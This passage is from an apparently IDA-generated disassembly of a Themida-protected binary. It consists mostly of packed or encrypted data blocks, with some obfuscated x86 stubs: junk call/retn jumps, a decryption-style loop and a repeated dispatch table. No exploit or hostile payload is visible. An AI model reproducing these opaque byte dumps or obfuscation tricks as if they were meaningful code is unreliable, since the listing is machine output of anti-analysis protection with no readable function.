[eax] ; --------------------------------------------------------------------------- db 2 dup(0), 20h ; --------------------------------------------------------------------------- pop edi retn ; --------------------------------------------------------------------------- pop edi mov [esp+4], edi add dword ptr [esp+4], 1Ah inc edi push edi retn ; --------------------------------------------------------------------------- dw 536h dd 0CD1E267Ah, 99D290Fh, 8907FA29h, 0FA1CD98Dh, 59BD8907h dd 0C707FA16h, 0FA31AD85h, 702407h ; --------------------------------------------------------------------------- loc_5F59A4: ; CODE XREF: Themida_:005F595Cj add [edx+0], ch push edi call sub_5F59B0 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F59B0 proc near ; CODE XREF: Themida_:005F59A8p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5F59B0 endp ; --------------------------------------------------------------------------- fisubr dword ptr [bp+di-53h] dec esi adc bl, 0F4h mov dword ptr [ebp+7FA2BD9h], 0 push 0 push ecx call sub_5F59DD and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F59DD proc near ; CODE XREF: Themida_:005F59D5p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5F59DD endp ; --------------------------------------------------------------------------- db 92h, 45h, 26h dd 0D765FE97h, 58B0FDCh, 0BE000000h, 2346B936h, 8DA4E681h dd 0B5FF6D2Ah, 7FA167Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 68C35747h, 9B7BDABEh, 9995FF1Fh, 6A07FA17h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 3F7DC355h, 4CA9DBB1h, 0D3963560h, 0AE9h dd 518CAF00h, 4029A2Dh, 6AE8CCBFh, 1995FF00h, 8B07FA10h dd 0E30EEBC0h, 192C2414h, 7C97C427h, 8E1C41A3h, 0E48D8D77h dd 6A080126h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 8B56C351h, 8EEE2875h, 759D8BD1h dd 8B07FA20h, 0FA2BF585h, 0D98D8907h, 0E907FA1Ch, 7, 24516528h dd 66FE220Bh, 85C7F88Bh, 7FA31ADh, 5CDCh, 26E99D29h, 85C707FAh dd 7FA2BD9h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5F5AEF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F5AEF proc near ; CODE XREF: Themida_:005F5AE7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5F5AEF endp ; --------------------------------------------------------------------------- mov dl, 8Eh lodsd xor ecx, [ecx-5DDAA43h] pop es push dword ptr [ebp+7FA3391h] mov edi, [ebp+7FA2559h] call dword ptr [ebp+7FA1799h] sub al, 39h push 0 call dword ptr [ebp+7FA1019h] mov eax, eax jmp short loc_5F5B84 ; --------------------------------------------------------------------------- dw 0D67Fh dd 512657CDh, 48189567h, 0BCA309E6h, 6052F717h, 453C52BBh dd 0C2F1CD20h, 1EA03EDEh, 0D01DF5C7h, 0E9D84269h, 0DE525D54h dd 3D83130Eh, 156E4FCAh, 0E4B59438h, 5F116971h, 5192D1E9h dd 0F1723DBBh, 2F04F219h, 2FCDBE74h, 0E09B0A27h, 9F39D93Dh dd 81486926h, 9EBD657Ch ; --------------------------------------------------------------------------- loc_5F5B84: ; CODE XREF: Themida_:005F5B28j call sub_5F5B93 sbb al, 92h into and eax, 0D7D8409Eh fpatan ; =============== S U B R O U T I N E ======================================= sub_5F5B93 proc near ; CODE XREF: Themida_:loc_5F5B84p ; FUNCTION CHUNK AT 005F5C22 SIZE 00000044 BYTES ; FUNCTION CHUNK AT 005F5C7B SIZE 00000008 BYTES mov dx, 0C599h pop esi mov di, cx add esi, 65E2h mov bx, cx xor eax, eax mov ebx, [ebp+7FA0631h] loc_5F5BAC: ; CODE XREF: Themida_:005F5C1Bj mov ecx, [esi+eax] sub bl, 0FBh sub ecx, 275F7AC3h ; CODE XREF: sub_5F5B93+90j push eax mov [ebp+7FA18DDh], edi pop edx add ecx, 472613B1h ; CODE XREF: sub_5F5B93+40j sub ecx, 499FBB17h call near ptr loc_5F5BD9+2 jge short near ptr loc_5F5BD7+1 jg short near ptr loc_5F5BC0+3 jnp short loc_5F5C22 loc_5F5BD7: ; CODE XREF: sub_5F5B93+3Ej xor [ecx], cl loc_5F5BD9: ; CODE XREF: sub_5F5B93+39p test [esi+edx*2-4], esi sub_5F5B93 endp ; sp-analysis failed pop edi pop edi mov [esi+eax], ecx sub [ebp+7FA266Dh], edi sub eax, 2 mov [ebp+7FA06A9h], esi dec eax dec eax mov di, cx cmp eax, 0FFFF9AC4h jnz loc_5F5C15 jo $+6 jmp near ptr loc_5F5C31+2 ; --------------------------------------------------------------------------- fdivr qword ptr [edx-49h] push esi push es setalc push esi pop ss loc_5F5C15: ; CODE XREF: Themida_:005F5BFCj push ecx mov bx, 0B5D1h pop edi jmp loc_5F5BAC ; --------------------------------------------------------------------------- db 67h, 28h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5F5B93 loc_5F5C22: ; CODE XREF: sub_5F5B93+42j nop jecxz short near ptr loc_5F5BB2+5 cmp esi, [edi-37h] mov ah, 0D8h wait pop esi inc edi inc edi cmpsb ja short loc_5F5C7B loc_5F5C31: ; CODE XREF: Themida_:005F5C08j arpl [esi+28C58D8Dh], bx add [eax], ecx jz loc_5F5C45 mov [ebp+7FA01A5h], eax loc_5F5C45: ; CODE XREF: sub_5F5B93+A6j mov [ebp+7FA260Dh], edi mov [ebp+7FA1CD9h], ecx mov dword ptr [ebp+7FA31ADh], 7124h push 0 push ecx call sub_5F5C66 and [ecx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5F5B93 ; =============== S U B R O U T I N E ======================================= sub_5F5C66 proc near ; CODE XREF: sub_5F5B93+CBp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5F5C66 endp ; --------------------------------------------------------------------------- dw 0DF2Bh db 11h, 0F5h, 8Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5F5B93 loc_5F5C7B: ; CODE XREF: sub_5F5B93+9Cj xchg eax, ebp add eax, 0E807FA26h adc [eax], al ; END OF FUNCTION CHUNK FOR sub_5F5B93 ; --------------------------------------------------------------------------- db 0 dd 4142C800h, 0C2D53E0Dh, 0E991C95Ah, 0DED5A203h, 0D3BF662Fh dd 85C75E93h, 7FA2BD9h, 0 ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA243Dh] push 0 push ebx call sub_5F5CB5 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F5CB5 proc near ; CODE XREF: Themida_:005F5CADp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5F5CB5 endp ; --------------------------------------------------------------------------- test [esi-4], edx pop eax sub [ebp+7FA34ADh], esi call dword ptr [ebp+7FA1799h] push 0 push ecx call sub_5F5CE0 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F5CE0 proc near ; CODE XREF: Themida_:005F5CD8p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5F5CE0 endp ; --------------------------------------------------------------------------- dd 5C951388h, 78CE5AAh, 0C1BED0CCh, 6A7DD040h, 1995FF00h dd 8B07FA10h, 0DD5BEBC0h, 3CA572C9h, 32823AC6h, 40AF39C9h dd 0F61DAB03h, 6D59FB0Eh, 0BBFD812Bh, 0AC4D5419h, 27BE0EE3h dd 8CBA6A13h, 0ACF80A72h, 93EA5DDCh, 17F1680Dh, 4C5F0ED2h dd 504F4CFEh, 4E382F98h, 765127DCh, 6F47F624h, 40ABA8F6h dd 4DED302Fh, 0A506F7ABh, 84CD8588h, 0E0D65862h, 0D1E916EEh dd 0FB000000h, 0D723758Bh, 0C3CA459Ch, 0DAB6E1C8h, 95A7ACABh dd 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh dd 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h dd 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h dd 9FA5B4h, 0F07B6B5Ch, 8A924Ah, 45F352D0h, 0A3F653F5h dd 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh dd 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h dd 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h dd 0B3ED7293h, 0B6D00097h, 0A8CD43F1h, 0F0h, 74470000h dd 0E0E3129Dh, 5E99h, 6 dup(0) ; --------------------------------------------------------------------------- jmp loc_5F744B ; --------------------------------------------------------------------------- push 8012C20h jmp loc_58B334 ; --------------------------------------------------------------------------- push 8012CFFh jmp loc_58B334 ; --------------------------------------------------------------------------- push 8012DEBh jmp loc_58B334 ; --------------------------------------------------------------------------- push 8012F17h jmp loc_58B334 ; --------------------------------------------------------------------------- push 8012FC8h jmp loc_58B334 ; --------------------------------------------------------------------------- push 80130BCh jmp loc_58B334 ; --------------------------------------------------------------------------- push 801315Eh jmp loc_58B334 ; --------------------------------------------------------------------------- push 801321Ah jmp loc_58B334 ; --------------------------------------------------------------------------- push 80132E9h jmp loc_58B334 ; --------------------------------------------------------------------------- push 8013450h jmp loc_58B334 ; --------------------------------------------------------------------------- push 8013512h jmp loc_58B334 ; --------------------------------------------------------------------------- push 8013673h jmp loc_58B334 ; --------------------------------------------------------------------------- push 801377Bh jmp loc_58B334 ; --------------------------------------------------------------------------- push 80138E0h jmp loc_58B334 ; --------------------------------------------------------------------------- push 8013A58h jmp loc_58B334 ; --------------------------------------------------------------------------- push 8013C55h jmp loc_58B334 ; --------------------------------------------------------------------------- push 8013D7Dh jmp loc_58B334 ; --------------------------------------------------------------------------- db 51h dd 0F6A3D9C5h, 9F4C821Ch, 45F22876h, 0F19ED4CAh, 14487E20h dd 599785Fh, 0ACF222CFh, 5747C976h, 0FF9F7421h, 86A2FAC9h dd 7E7AD23h, 0A734EB51h, 78A2326Ch, 0EDFD7BBAh, 89B4108h dd 0F1AD63B8h, 0EA973D66h, 0B6D73929h, 0E7C24D7Fh, 47D23B7Fh dd 1E7FB51Eh, 4658B96Bh, 97314DDDh, 0DC07E1A4h, 87128C87h dd 166FB85Eh, 5EF85F8Bh, 810207E1h, 6788C0C7h, 4326406Fh dd 0B7000000h, 3ACA96F3h, 7635D0FAh, 9B4F6E78h, 0E7481C7Fh dd 88F14AFFh, 0C66C32E3h, 0E1608452h, 0BE49A207h, 0E1602B92h dd 5D9D3507h, 0E160DE41h, 0A26F0407h, 0DF4871FCh, 0F7FEB839h dd 406F6CBFh, 0F15Dh, 6CA7EE00h, 0CF42A732h, 34DF44CFh dd 997ADF6Ah, 0DE5BCF05h, 0A4FFE687h, 5A1DF36Fh, 0E687DB3Eh dd 47B009FFh, 0F42A93BCh, 920C075Ch, 8B38DE07h, 3B8B1688h dd 0C96F2FE6h, 0C032168h, 44992992h, 1E47D2CCh, 7C079779h dd 0F915AD53h, 7E0A85Bh, 7E20F287h, 747DF15h, 0B13C62B2h dd 0A7B91C88h, 8EE707E0h, 370287E8h, 0E0A7B81Bh, 0E085DE07h dd 76066F2Fh, 0D5170C36h, 0F00AAD5Ah, 1892593Eh, 9B4112EDh dd 0DDEEE427h, 0E979D20Fh, 7D5C7FA9h, 4954F59Fh, 471BF6A3h dd 7833C3CAh, 802B2C76h, 0BE638C17h, 94BD4856h, 0C948F52Bh dd 0BD17D5h, 538E999Bh, 1330B4h, 4F4FC700h, 0F8A66C19h dd 9E0015C2h, 4A54BB68h, 0F4AA6714h, 0EED58ABEh, 98457B23h dd 3FEC227Ch, 0EA97CDD1h, 703F7529h, 0AF99FC18h, 61C707E7h dd 346AA7AAh, 0DCC251FEh, 96F3EFA6h, 0AE103ACAh, 0AF51F193h dd 4B67FFA5h, 7E0C07Dh, 8E10055Ah, 0DE35DA03h, 78D11AC0h dd 1E8093E8h, 31C46A93h, 0E0C09E05h, 0E610A807h, 0AE5F3D1Ch dd 0DB5C02EBh, 4E285221h, 0E72691FAh, 0CC04D47Ah, 6A406EECh dd 0C9h, 326CA7FBh, 93CF42A7h, 6D96217Dh, 0D04D7904h, 8AFFE687h dd 47DF1589h, 8788EB07h, 55AEFFE6h, 8D1102AFh, 0C0A0E902h dd 0A8761430h, 0CB2407E0h, 6CA8FD95h, 5E2B8C32h, 2567202h dd 0C0FDD86h, 43CE23B3h, 0AFDC74Ah, 97001BACh, 415DB461h dd 9B336F83h, 16B5F099h, 1251h, 0F82E70A6h, 0A1D7C74Bh dd 477D21F4h, 0F329759Ah, 9DD3CB46h, 46CBB469h, 9F752258h dd 0F41CC9FFh, 4CC774AAh, 0F54D1C52h, 0E7AF76D9h, 7F369C07h dd 0E8277CBCh, 82E74AB6h, 0B40DFFE6h, 0D98060Fh, 80913EE4h dd 21648E1Eh, 933A64EAh, 76DFBF52h, 0D15C42D1h, 2CC402A8h dd 96FEC2ECh, 2855D441h, 0E74F59BCh, 882E87FFh, 306638DBh dd 326CA779h, 0D9C54DA2h, 0D83BA033h, 32E390C6h, 54BDE130h dd 0F9A56FC4h, 0C9F456Eh, 390692BCh, 0D7B28349h, 0F8F8431h dd 3DE700D9h, 4484144Ch, 0ED7826EFh, 0AAF558C4h, 0C21BFFE6h dd 6668841Ch, 4C07E0B1h, 0EC52B6F3h, 0CBFF6AE1h, 0A20C6F8Bh dd 0E13AF056h, 0B1AFDA3Bh, 0C5170521h, 6AC3F850h, 9DC3C6DFh dd 6467F10Dh, 227BFF6Eh, 0C8D63D92h, 702EE592h, 0EA3F34B2h dd 3BDA1569h, 1165h, 0E41A8492h, 8DC3DB37h, 336935E0h dd 0DF158986h, 89BFDF32h, 5AB7A055h, 0B3610E44h, 808B5EBh dd 60B36096h, 0E139083Eh, 0E7B062C5h, 732A9007h, 0A7326CA7h dd 0D565FB8Eh, 0E0A277B9h, 0CAF15B07h, 0B550DE5h, 0A90A40A9h dd 0D4F080E0h, 0FDB269Eh, 83C353ACh, 26C42743h, 99F2FFE7h dd 0E726CA2Dh, 0F99FF8FFh, 26D33A66h, 5CDDFFE7h, 32639BA2h dd 31013875h, 92000000h, 3ACA96F3h, 0E0D31D1Eh, 0E132C707h dd 84C454BDh, 0D2C52844h, 92EB07E0h, 0CDD13FECh, 0D2BE2397h dd 8F8407E0h, 0E42CD90Fh, 0BE902FBAh, 29000010h, 0F1AD67BCh dd 0C19FEA4Bh, 0AD871531h, 9AC407E7h, 8A687525h, 1064DEF0h dd 0A19153ABh, 9DF63FE5h, 435BB80Dh, 0EBB3600Dh, 1E424760h dd 0C439728Eh, 67BC0FE8h, 44DF3ABh, 4DC61BABh, 0A56E1B51h dd 0FF1469F9h, 65AF149Fh, 972AD039h, 0F7190B7Eh, 0B6CC896h dd 0C62FB9DBh, 19A9123Bh, 0C7524CC4h, 9281249Eh, 0FABEA6C4h dd 3EA0BC54h, 6407E0E1h, 0D6AE93FAh, 0EA535EFFh, 6774A42Ch dd 0AB4A859Eh, 1039h, 104658BEh, 0B9EFAF63h, 5F95090Ch dd 0B415DB2h, 0B5EBB35Eh, 2EE3CC81h, 878D3A70h, 0DC34E117h dd 34DF8CC2h, 0D65346Ah, 0E7B28EF1h, 974EB407h, 0FD607CBCh dd 0D4FFE682h, 0E68355B8h, 0E1227BFFh, 0C2797F77h, 0D942E8EEh dd 0E258BF33h, 0F737FFE6h, 0E6E278DBh, 9F459EFFh, 85154B3Eh dd 6D20F045h, 8940451h, 68F35C47h, 237B9A3Fh, 55C96F98h dd 7E86924h, 0F449D932h, 0AFEF7F1Fh, 0E8173093h, 7B23F207h dd 0FD3BE13Ah, 0F083B65h, 7EC02A4Bh, 0B6E82BD8h, 0E977122Bh dd 4CC41959h, 0F638AC52h, 0DC0FE1D8h, 8837C583h, 0D9149666h dd 0F883Ah, 0F7A76F00h, 0A0FE14C1h, 4658BD6Ah, 0F2AC6310h dd 9C020FBCh, 967D3266h, 40ED237Bh, 0E794CAD4h, 923F7529h dd 18E71D81h, 0B241A4C0h, 96F07E7h, 0B6CA752h, 0E6838CEFh dd 0EC4F6BFFh, 1AFFE682h, 0BE2780C1h, 283AD92Eh, 32CB7E7h dd 0FC61F49Ah, 0FEFC8717h, 0B71A3676h, 0DDFFE683h, 83DE415Dh dd 0AB04FFE6h, 611B9C42h, 0C6D83D92h, 7B98123Bh, 0E43BBE38h dd 0E119E98Fh, 0C83874E4h, 58FEA073h, 93F77h, 0CBE72700h dd 0FFE6D568h, 2EB9E52Ah, 0C56BC405h, 8E96F30Eh, 648D1886h dd 2B4F6BFBh, 5307E7ACh, 51406AFAh, 0A646948Ch, 75CF49Ah dd 0EC4F6B0Ch, 0E107E79Eh, 81453302h, 3B94D580h, 7F1842D2h dd 257997E2h, 0E8F7719Ah, 8F0F00DDh, 0CC72DB04h, 6C32E18Eh dd 0D74EB5E1h, 256407E7h, 4D8FAB3Bh, 790FE1F6h, 0EAA66220h dd 6CA79666h, 0E94CDh, 0EBB36300h, 940A08B5h, 3A64B15Eh dd 0E6B85704h, 900E03B0h, 8A71265Ah, 34E11787h, 0DB88BEE0h dd 86336935h, 0CDB118Dh, 0B33598B4h, 0F55B07E7h, 326CA73Eh dd 0F81778A2h, 7B05275Ah, 36DD42D5h, 6EDFDD68h, 675ADB4h dd 81133875h, 0C3000008h, 0F6046783h, 0B232FFE6h, 0E6F63396h dd 9F0861FFh, 79E042F9h, 8FFFE683h, 81D666FAh, 5C85108Eh dd 1E021EB6h, 4807E7ADh, 0CA1F5FEFh, 2AF5549h, 0DCC25111h dd 89BF2851h, 0DC6737DCh, 0A9AC6C3h, 0E1CBACEEh, 83419A0Fh dd 9666979Dh, 0F2E483BEh, 500000Dh, 0AA578D11h, 53003668h dd 0F9A6DCC2h, 0A5528816h, 0C8FC326Ch, 0B9E52C13h, 603ED683h dd 0B937D2Ah, 0B3EB28D5h, 3A56AE7Dh, 7E7B4D7h, 0BCE097FDh dd 4EF4AA67h, 0A12C72A1h, 37C7D73Ch, 8378DBF7h, 459EFFE6h dd 9E4C6CBh, 0D87EFE2Ah, 1CD64745h, 74FEDD15h, 7D27B38h dd 0F30C0000h, 1E3ACA96h, 7E7AD4Fh, 0F64F44Dh, 0E00A9A04h dd 65818254h, 7E87B02h, 3D5DD730h, 0E1BD559Dh, 0E794D278h dd 0BBE7722Ch, 7E79654h, 6B33DE33h, 0B011B7E0h, 213B76D9h dd 51DAFD7Eh, 0FA3C58E8h, 990FE1F3h, 43CED044h, 0BEAFA01Ah dd 5EC70AF2h, 58166FB8h, 96669C80h, 36AF4E89h, 0C100000Dh dd 66134955h, 0FBCF2ACh, 0B5629806h, 610E445Ah, 84B8EEB0h dd 7529E8CFh, 1C82923Fh, 0C7D739E6h, 6F2FE491h, 0F6126A39h dd 7E7B593h, 0A7A45BC1h, 42A7326Ch, 0E83DCDD1h, 3ED17727h dd 0E15CF40h, 38748AD6h, 72774h, 7EE00500h, 8CFFE683h dd 0B6E827FDh, 999022Bh, 0E7ACFBEDh, 0C152E707h, 161F63DDh dd 82112E62h, 0E1348919h, 0C6E232BDh, 7E80A63h, 29CF3891h dd 0C7D73C91h, 6F2FE491h, 385494E4h, 7E80AD5h, 9BFCA2FBh dd 0C6E272EEh dd 0FE236CCh, 0E3BB56ABh, 4A74F43Dh, 382E65EBh, 0BD208C09h dd 940FE202h, 0E2021578h, 0A1E23B0Fh, 2A20521h, 77D00FE2h dd 0FF627E0Eh, 250FE201h, 0FFA563CCh, 0CC9666DEh, 0C67F291h dd 86900000h, 0DD35E218h, 37DE8BC1h, 8B843167h, 0E130DD13h dd 9E5387BDh, 0C425CB5h, 0B3E9B55Fh, 5E940A06h, 63C62B1h dd 60C3DF37h, 8607E7B5h, 6CA76920h, 352EF221h, 0C750421h dd 0A7F71C81h, 15CF001Ch, 9180E231h, 0DF59820Dh, 0A9159AD2h dd 5E94FD8Ch, 7492568Eh, 168F438h, 0A7850000h, 42A7326Ch dd 3697CDD1h, 617D0D53h, 7E0ADC7h, 0C1DD378Ch, 67CAE636h dd 8D07E0ADh, 0DC25CB34h, 65CCF883h, 6F07E0ADh, 3B6534EEh dd 41AF356Ch, 1FEF951Bh, 406F1BE7h, 4A85h, 67BC1600h, 0EB4CF2ACh dd 1632C29Eh, 7E09C48h, 48ABC707h, 0A07E09Bh, 0E10A9509h dd 58A147A0h, 0E14874FFh, 0EB07E09Ah, 56BE1353h, 2894BD48h dd 7E09BC5h, 4A9A07B2h, 0A2E3458Fh, 6822A349h, 6F4B2961h dd 0C4C740h, 0A7580000h, 8CEF0B6Ch, 0BAFFE683h, 4955BC61h dd 0A12C95BEh, 3EC9D53Ch, 0D4643AD9h, 83157894h, 38D7FFE6h dd 26CC2566h, 0B9E52E93h, 0AFA20F83h, 0C3EDFFE6h, 0E3E77DA4h dd 0E49137BEh, 0B5DF6F2Fh, 63AD6A95h, 0D87B03Bh, 6C1208BEh dd 0A4BCCD2Eh, 0E222F814h, 8CE107E3h, 0B5110687h, 0B0DD5C54h dd 0FF58A147h, 0A7F71A6Fh, 8E84D971h, 54BD6A10h, 0D6A40723h dd 79D207E2h, 0F28E5210h, 346F9E61h, 0B0095h, 7F1FF700h dd 28769C49h, 0CED045F2h, 7A24EB98h, 247A9744h, 1E05BAEEh dd 0C875ABF3h, 6F1C524Ch, 1AC7FDA1h, 0A06FA5F9h, 0B7C92C48h dd 91F707E7h, 0D6AA7DAh, 0E6838EF1h, 0F25BB4FFh, 9A040FBCh dd 67BCAD64h, 0A24FF5A9h, 3DA22D71h, 0AB92C8D6h, 4E8h dd 0EAAA3963h, 63E60FEDh, 96F306BDh, 81E3ACAh, 9607E0A4h dd 1F86B23Dh, 2907E0A3h, 0F51FEEA8h, 0D3192AD6h, 7727EBF2h dd 6098680Eh, 0FE406EF8h, 1E8h, 8380E08Fh, 0FB8EFFE6h dd 0CDB9D565h, 1907E7ACh, 38DB30C0h, 7A96D666h, 7E7AC17h dd 3EE43Dh, 53DEC053h, 81114F3Ah, 0E1D86B65h, 40FE570Fh dd 9666A476h, 3E791853h, 0B900000Ah, 5E0B415Dh, 7B4EAB4h dd 0AD5A900Eh, 59063C62h, 7CB0E6B8h, 6D31E0C7h, 148A8A37h dd 0BFDF31DEh, 6737DC89h, 0EE0A6231h, 7E7B88Bh, 0A79C53B9h dd 7F1FF66Ch, 2A468616h, 0FFE683C7h, 0E4BA58EDh, 21C73059h dd 0B4EA298Eh, 5846CF24h, 6BFEA4CDh, 80641E4Fh, 5D50B93h dd 38748FCDh, 14B6Bh, 6CA7FC00h, 0D142A732h, 533697CDh dd 0EA287D0Dh, 36760EB4h, 0E46F2FE1h, 7A115BBh, 4C07E0AEh dd 0DD1F9A22h, 0A072095Ah, 0A6EF95FEh, 109B0311h, 0C7F37EE7h dd 7E10260h, 602FE96Ah, 527E0F36h, 0ED93743Fh, 6F74E51Dh dd 208340h, 0F3140000h, 1E3ACA96h, 7E09C50h, 3E6AF54Eh dd 7E09BD7h, 9FA660E1h, 406EA767h, 0CC05h, 7CBC9600h, 0E682FD60h dd 24CA23FFh, 77029C77h, 0F9FFF12h, 50D55BAh, 7CE50E99h dd 2285A1F1h, 50FFE683h, 55E88EF7h, 8BF1DB05h, 69D91534h dd 758B32EFh, 0BB61E70Dh, 0E99050Eh, 0FE346AA9h, 0E7332D8Ah dd 7E20F3FFh, 2F92AEEEh, 6FFE691h, 0E69187EAh, 1354ADFFh dd 75D614BAh, 0A0BC4C14h, 7E370CAh, 9AEF7FD8h, 59F12777h dd 28D1104h, 0BEE034D9h, 0D1A66B18h, 54127591h, 0E74007E3h dd 0E354187Bh, 7CE53E07h, 617086BEh, 0ED8CC79Eh, 8DDh dd 6CA2FC1Ah, 154B53BFh, 0BBF1AD68h, 679D010Eh, 114757BAh dd 0D23F28DDh, 2BE996CCh, 80903D73h, 0D83BE81Eh, 69C190C6h dd 0E7B8EA4Dh, 0FBB21807h, 0FE346AA7h, 0A6DCC251h, 326CA7EFh dd 0CDD142A7h, 7727E83Dh, 0CDAC93D1h, 45000002h, 3ACA96F3h dd 2A35D0FAh, 7BBE2778h, 0E6B7AC0Fh, 0DB81DAFFh, 0E1952743h dd 0D74107E7h, 0DBF7E9CAh, 7E7E378h, 0FCCB459Eh, 0A4C050A4h dd 7E79E41h, 22AD166Fh, 0E4937DD2h, 0E79E65C8h, 0C9328B07h dd 9E48AF23h, 0D15207E7h, 21F34817h, 23C9F27Dh, 75AA1B53h dd 247B940h, 29690000h, 7C4B39FFh, 0E854F900h, 7E7F285h dd 0F5AC52ABh, 0E68380E0h, 65FB8EFFh, 0AD1FB9D5h, 1F7407E7h dd 0BB04AAF4h, 7692D262h, 7E7AC13h, 0AA42E841h, 0AAE0BE55h dd 0F88816FDh, 0AC399CB8h, 0E6707E7h, 0CDBCD568h, 6EC30393h dd 4871FCA2h, 0D9342EA2h, 39920FE1h, 66A4D17Bh, 0A03F7A96h dd 7D5h, 74AAF422h, 1D534BC7h, 0C3F9A570h, 6FA5F916h, 194F4FC2h dd 0CA4730E5h, 23F19ED4h, 7898457Bh, 0D043F026h, 71C998CEh dd 0E7B9F255h, 3BA2007h, 0A2326CA7h, 82E34662h, 0B811FFE6h dd 0F91A7F12h, 0CDFE1AA5h, 0BAE42F13h, 8F7CB484h, 39633874h dd 3D7FE93Ch, 0AEB91C5h, 189h, 0F0AE65BAh, 8A140065h, 0A7C47B21h dd 42A7326Ch, 1B8391D1h, 6E1B7CB2h, 0AC4662F2h, 0DA07E0ADh dd 920C055Ah, 0F72DE07h, 3507E0ADh, 0B9E373DCh, 0E4B77274h dd 0FF9238C4h, 0F0536FAFh, 1607E0BDh, 3CA317BDh, 4607E0BEh dd 51AD84AEh, 40A4ECF0h, 9E3194B0h, 65F07E0h, 1E25DF60h dd 406EA5E6h, 2784h, 96F31500h, 501E3ACAh, 4E07E09Ch, 0D73E6AF5h dd 0E107E09Bh, 679FA660h, 5406EA7h, 0DCh, 0EFAF60B5h, 0DE953B64h dd 0A7326CA7h, 3FCFCF42h, 8380E3FFh, 4DA6FFE6h, 64AF14A7h dd 0C94AAF3Ah, 0DE2B9FD5h, 0B9FFE6FDh, 0AD026A8Fh, 0CC464AF2h dd 4977AA34h, 4AF79D30h, 64FDC4C9h, 78BB2440h, 1178D90Fh dd 0A86ABF4Fh, 9C426BF6h, 9412E804h, 0E74007E3h, 0BBD71757h dd 7E37158h, 0D27F257Eh, 0A5CF5F3Fh, 2C18AFD5h, 34DB80FCh dd 0D986C46Ah, 125538h, 0FAC6A655h, 9C67D391h, 8DC89E61h dd 670EEh, 0F8F8700h, 0B8E62CD9h, 5E40D582h, 0A947B28h dd 0B4EA27D4h, 0AE954A7Eh, 58053B63h, 0FFACE2BCh, 0AA578D11h dd 30FF3569h, 0BB59BCD8h, 218707E7h, 0D6AA76Ah, 0E6838EF1h dd 0F25BB4FFh, 44CD2262h, 3AA6CF5Ah, 0FFE683D7h, 0C0FEA4FDh dd 623CD328h, 5B08AED7h, 0F9B0E6B8h, 1D216CA7h, 0C4060E6h dd 4EE516Dh, 0BB14FFE7h, 0F95EE952h, 9FF4841Ah, 77A02B73h dd 0D35E40D2h, 0DFC604AAh, 2Ch, 326CA778h, 0CDD142A7h dd 6B33DD42h, 6987BE0h, 4600297Bh, 75B5059Eh, 0E682F659h dd 1DC31CFFh, 15FEE29Ch, 246C5389h, 5000000h, 0A7326CA7h dd 0E683157Bh, 0D38D0EFFh, 6884C404h, 0FFE68305h, 366D22Bh dd 31FFE683h, 8E8532D8h, 0A723DA10h, 8EA7326Ch, 78A454FBh dd 7252B5D1h, 2780FFE7h, 0E46F6ADh, 0E30C9707h, 623CD57Ah dd 0B545AED7h, 0E86A0B99h, 0EC084807h, 7E81789h, 16E94C68h dd 0BE1707E8h, 927F247Dh, 0B258810Ch, 233FD469h, 0FD26B1EDh dd 77E00994h, 1D8192E7h, 0C5D93AE7h, 76D9F535h, 9C07E817h dd 179D001Ch, 6AC307E8h, 2E848701h, 65AD11C7h, 76132CBFh dd 0C51A5AEAh, 9EC7524Ch, 0CF4B84F8h, 20790FE8h, 0C6D83B90h dd 0E0338820h, 38DB88BEh, 0C7C2DB66h, 8BED0999h, 6807E0B6h dd 0F99E0013h, 95DE841Ah, 82E87E3Ch, 2E699E67h, 4F88Fh dd 8717FF00h, 306EA451h, 0D6C84DFAh, 821CF3A0h, 2C729F4Ch dd 260DC2F6h, 0D07DB3EBh, 77245A44h, 22CF0599h, 0A877ADF1h dd 0BDD13450h, 99FF07E7h, 326CA7E2h, 0E34662A2h, 11FFE682h dd 27D412B8h, 0C227B2ECh, 0A6C24D51h, 3CD7BB75h, 245C2C62h dd 0C238748Fh dd 57h, 1392BC53h, 963356FAh, 6E30E287h, 3E2267C8h, 0DE9192AEh dd 0DA3307E0h, 8CE00A4Ah, 5379CFE8h, 967A27CDh, 0F95ED208h dd 0BF07E14Bh, 7C144A54h, 94A55152h, 31D72083h, 87128C84h dd 702EE237h, 2F16BCE5h, 459h, 6EF0BDE7h, 9E108633h, 759E2975h dd 0BCAF660Ch, 0AECAAD67h, 0FFE6834Bh, 11B72079h, 60B3AF64h dd 0E54AD53Eh, 0D93A702Eh, 420B0B0h, 7E0AE6Ah, 0FEA074C9h dd 26B60F58h, 0C22A7FFCh, 